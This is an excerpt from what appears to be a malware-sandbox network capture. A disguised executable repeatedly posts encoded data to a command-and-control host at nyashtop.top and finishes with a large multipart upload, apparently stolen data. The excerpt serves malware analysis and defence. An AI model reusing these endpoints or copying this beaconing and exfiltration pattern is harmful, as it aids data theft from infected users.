                                                                  Jan 13, 2025 13:11:16.470262051 CET2580OUTData Raw: 5a 5a 5e 54 51 44 54 53 5a 5d 56 56 52 50 50 5b 50 5a 55 5a 57 55 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZZ^TQDTSZ]VVRPP[PZUZWUZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#,%!!*1/B*:'3>,U(9/'1&(_'0(+.'F!.\*
                                                                  Jan 13, 2025 13:11:16.783047915 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:16.919192076 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:16 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  25192.168.2.44981437.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:17.747356892 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:18.095339060 CET2580OUTData Raw: 5a 54 5b 53 51 47 51 54 5a 5d 56 56 52 5c 50 5b 50 5d 55 5f 57 5e 5a 5d 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZT[SQGQTZ]VVR\P[P]U_W^Z]T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#.0=_"1!$ +*$6V%= )'"%<9;3!#<'F!.\*1
                                                                  Jan 13, 2025 13:11:18.385103941 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:18.696031094 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:18 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:18.696109056 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:18 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  26192.168.2.44982137.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:18.807154894 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 1964
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:19.157824039 CET1964OUTData Raw: 5a 58 5b 53 54 48 54 5d 5a 5d 56 56 52 58 50 59 50 5a 55 5b 57 55 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZX[STHT]Z]VVRXPYPZU[WUZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#\/5\66_13*<$+&T3=(U):;'+_0^$0^(.'F!.\*-
                                                                  Jan 13, 2025 13:11:19.435071945 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:19.569431067 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:19 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 22 0d 3e 0b 22 54 24 5f 3c 1c 2e 2c 00 13 2d 2f 3c 01 2b 31 3c 5c 29 5c 29 17 2d 2d 3f 01 3e 28 23 01 29 31 06 56 27 26 02 12 29 29 2b 51 07 11 39 16 25 3d 26 15 2b 0d 36 5e 27 0c 25 1e 22 33 06 5c 3f 17 36 57 25 28 3c 52 28 28 0f 58 28 23 22 10 32 07 2e 1e 2b 2f 3a 12 2b 2d 2f 5e 08 12 26 0e 3e 1f 00 08 32 0e 20 03 35 01 34 14 3d 2f 31 54 36 01 29 09 3d 03 32 00 33 3e 25 59 33 3e 21 01 32 32 38 56 31 1c 26 00 33 29 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: ">"T$_<.,-/<+1<\)\)--?>(#)1V'&))+Q9%=&+6^'%"3\?6W%(<R((X(#"2.+/:+-/^&>2 54=/1T6)=23>%Y3>!228V1&3)$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  27192.168.2.44982237.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:18.849009037 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:19.221164942 CET2580OUTData Raw: 5a 5f 5b 54 51 47 54 52 5a 5d 56 56 52 51 50 58 50 5b 55 54 57 53 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z_[TQGTRZ]VVRQPXP[UTWSZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#/0> !>Y%3E*:#]'8U$,V** $"2+<^&14)>'F!.\*
                                                                  Jan 13, 2025 13:11:19.493530989 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:19.624634981 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:19 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  28192.168.2.44982837.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:19.945369005 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:20.299810886 CET2580OUTData Raw: 5f 5a 5b 57 54 45 54 53 5a 5d 56 56 52 59 50 5e 50 5e 55 5c 57 5e 5a 5d 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Z[WTETSZ]VVRYP^P^U\W^Z]T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#,3%^5:&3')*/]3'=$)9?&"[<)800('F!.\*%
                                                                  Jan 13, 2025 13:11:20.598550081 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:20.772670031 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:20 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  29192.168.2.44983437.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:21.062573910 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:21.407818079 CET2580OUTData Raw: 5f 58 5b 57 54 45 54 56 5a 5d 56 56 52 51 50 5d 50 5a 55 5d 57 51 5a 5d 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _X[WTETVZ]VVRQP]PZU]WQZ]T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#.#= "^27+*3Y%;6T$=+=)#'"2[(:,^&!+'F!.\*
                                                                  Jan 13, 2025 13:11:21.692030907 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:21.821552992 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:21 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  30192.168.2.44984037.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:22.133963108 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:22.486687899 CET2580OUTData Raw: 5a 54 5b 5f 51 47 51 54 5a 5d 56 56 52 59 50 5c 50 50 55 58 57 50 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZT[_QGQTZ]VVRYP\PPUXWPZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#\8!_ 2^$ $)'(>$=(U>:'$"*[()$_34]+'F!.\*%
                                                                  Jan 13, 2025 13:11:23.795384884 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:23.796057940 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:22 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:23.796103001 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:22 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:23.796355009 CET183INHTTP/1.1 100 Continue
                                                                  Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 31 32 3a 31 31 3a 32 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 3e 5d 58 5a
                                                                  Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Mon, 13 Jan 2025 12:11:22 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-alive>]XZ
                                                                  Jan 13, 2025 13:11:23.796869040 CET183INHTTP/1.1 100 Continue
                                                                  Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 31 32 3a 31 31 3a 32 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 3e 5d 58 5a
                                                                  Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Mon, 13 Jan 2025 12:11:22 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-alive>]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  31192.168.2.44984337.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:24.253772974 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:24.610932112 CET2580OUTData Raw: 5f 5e 5b 57 54 47 54 57 5a 5d 56 56 52 5f 50 59 50 5f 55 58 57 53 5a 57 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _^[WTGTWZ]VVR_PYP_UXWSZWT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ /=_"T6]2'C=3\$8*T'8=)?&!%<:?0<<.'F!.\*
                                                                  Jan 13, 2025 13:11:24.886475086 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:25.014031887 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:24 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  32192.168.2.44984737.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:24.588613987 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 1988
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:24.939068079 CET1988OUTData Raw: 5a 58 5b 51 51 42 54 5d 5a 5d 56 56 52 58 50 52 50 51 55 5f 57 53 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZX[QQBT]Z]VVRXPRPQU_WSZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#,#. 1"X$#(**00%0-8)\<R$T1)9$14]+>'F!.\*
                                                                  Jan 13, 2025 13:11:25.246325016 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:25.383167982 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:25 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 1d 2a 0b 2a 57 30 17 30 1e 2e 3f 25 01 2c 2c 30 06 2a 54 2c 5d 28 3a 29 5e 3a 10 24 5c 28 05 0d 00 2b 08 33 09 30 36 3b 0d 3e 03 2b 51 07 11 39 5c 26 03 22 5e 3c 23 29 02 26 22 08 0b 22 1d 2c 18 28 29 3d 0f 27 5e 2b 0e 2b 16 25 59 28 33 22 10 26 29 03 08 3c 02 31 02 3c 3d 2f 5e 08 12 25 57 29 31 31 1f 25 09 24 04 21 11 3c 14 28 3c 2e 0a 21 2f 2e 50 3e 04 32 00 24 3e 3d 5a 24 3d 26 5d 26 1c 2c 53 25 22 21 10 33 29 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !**W00.?%,,0*T,](:)^:$\(+306;>+Q9\&"^<#)&"",()='^++%Y(3"&)<1<=/^%W)11%$!<(<.!/.P>2$>=Z$=&]&,S%"!3)$P/,Q=ZW
                                                                  Jan 13, 2025 13:11:25.386900902 CET260OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 540
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:25.579099894 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:25.579278946 CET540OUTData Raw: 5a 5b 5b 52 51 44 54 51 5a 5d 56 56 52 5f 50 53 50 5c 55 5e 57 50 5a 5c 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z[[RQDTQZ]VVR_PSP\U^WPZ\T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#_; ="2-%#D*?]'^>3>(98W$1&[(0Y$!(Z<>'F!.\*
                                                                  Jan 13, 2025 13:11:25.860004902 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:25 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:25.862199068 CET298OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: multipart/form-data; boundary=----txODKz6lx49CKK1Hxz0SL902Os8Fm8Koii
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 309958
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:26.054466963 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:26.056665897 CET14832OUTData Raw: 2d 2d 2d 2d 2d 2d 74 78 4f 44 4b 7a 36 6c 78 34 39 43 4b 4b 31 48 78 7a 30 53 4c 39 30 32 4f 73 38 46 6d 38 4b 6f 69 69 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22
                                                                  Data Ascii: ------txODKz6lx49CKK1Hxz0SL902Os8Fm8KoiiContent-Disposition: form-data; name="0"Content-Type: text/plainZY^VT@TWZ]VVRYPXPQUTWUZ\T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^X
                                                                  Jan 13, 2025 13:11:26.061619997 CET2472OUTData Raw: 4d 46 4e 61 64 46 6b 34 62 6c 52 79 55 31 64 36 59 57 5a 54 4f 58 4e 76 54 57 4a 34 63 33 5a 74 55 31 6c 44 62 45 68 35 55 58 6f 31 65 6e 56 50 4e 30 64 4e 61 57 77 77 64 6c 64 54 4d 32 68 6c 55 46 52 79 54 31 4e 34 64 44 68 4d 59 30 78 6b 55 56
                                                                  Data Ascii: MFNadFk4blRyU1d6YWZTOXNvTWJ4c3ZtU1lDbEh5UXo1enVPN0dNaWwwdldTM2hlUFRyT1N4dDhMY0xkUVhJdWxrbVpwR1paRTJIeW1PMHFBWkFDcFgweFZ3d3hNY21OQ2ZkUlI1VWVjK1duL2ZJcW5sVVhKUG0ySS90dWZLMXlMVzM0RlcydlliUzJ0WVpyNnlnOG5VM3VMaUthemFXV1NFeHhyaUZ4R2ZMYzdXR1E2RWNISXJ
                                                                  Jan 13, 2025 13:11:26.061659098 CET4944OUTData Raw: 53 57 39 51 63 30 74 51 53 32 70 36 62 6e 6b 77 65 69 39 31 61 58 4e 59 61 7a 68 49 52 7a 4e 4f 4c 31 5a 79 5a 6d 74 69 65 48 6f 79 62 33 41 34 4e 6d 6f 76 56 6a 63 76 62 56 56 4b 54 48 55 79 5a 79 74 35 62 54 64 31 62 7a 6c 57 64 6b 68 4e 4d 58
                                                                  Data Ascii: SW9Qc0tQS2p6bnkwei91aXNYazhIRzNOL1ZyZmtieHoyb3A4NmovVjcvbVVKTHUyZyt5bTd1bzlWdkhNMXZjMzlsQTZTL1puaE1lWkM2cDVrZ0xaQk9lQVFXNUdDdy9zelJOUzA1MTFTd21DUjNFZm5yYlRNcWJvWFZTNnRIa2dzeThCV0hYUHZvQ05GNklvejF3S2I1RVgvUEpQKytSVkxLMGxKS1c2dDhpSG5MbEtMY050VnV
                                                                  Jan 13, 2025 13:11:26.061697960 CET4944OUTData Raw: 59 6b 74 6b 55 6c 6c 48 55 48 70 73 61 6e 64 32 62 48 42 36 61 79 39 6f 65 44 63 78 4e 47 6c 72 4e 7a 4a 61 4f 55 4a 53 65 47 52 53 4d 55 39 54 62 32 78 30 4d 48 56 6b 55 6b 78 68 54 6b 78 77 4d 58 70 77 64 44 56 76 4f 54 46 6a 65 46 42 51 54 6b
                                                                  Data Ascii: YktkUllHUHpsand2bHB6ay9oeDcxNGlrNzJaOUJSeGRSMU9Tb2x0MHVkUkxhTkxwMXpwdDVvOTFjeFBQTklIamVMR0drWmxJM09DQ0F3N1Y1aHErbFhHa1g1dHJpTjQ5dzN4N3l1NG9TUUNkcElCNFBldldQN1IxcnlvbS9zRDUyVWwwKzJKOGgzRVl6am5nQS9qanRYRWZFZjhBNUdLRC9yMFgvd0JEZXZXeW1yS09KVVU5SGU
                                                                  Jan 13, 2025 13:11:26.061799049 CET4944OUTData Raw: 53 56 42 51 57 54 46 44 61 44 68 34 62 32 78 53 53 46 70 77 62 44 4e 53 51 55 6c 6a 64 55 39 6c 56 6a 6c 53 64 32 56 75 62 32 45 30 63 31 42 6f 63 30 35 6f 4e 6e 4d 32 62 45 74 35 4e 58 4a 59 57 46 52 54 4c 79 74 61 4d 6c 6c 70 64 6d 6c 78 4f 55
                                                                  Data Ascii: SVBQWTFDaDh4b2xSSFpwbDNSQUljdU9lVjlSd2Vub2E0c1Boc05oNnM2bEt5NXJYWFRTLytaMllpdmlxOU9GT3FtK1c5blozMXQva0ZGT2lqbHVMYVc1Z2dubHQ0cytaTEhFekltQms1SUdCeDYweHNvenF5T3JJcFpsS0hLZ0RKSkdNZ1k1K2xkbnRJWHRkSEo3S3BaUGxldmtMUlVsemIzTm41ZjJ1MXVMWVNjSVo0V2pEZlR
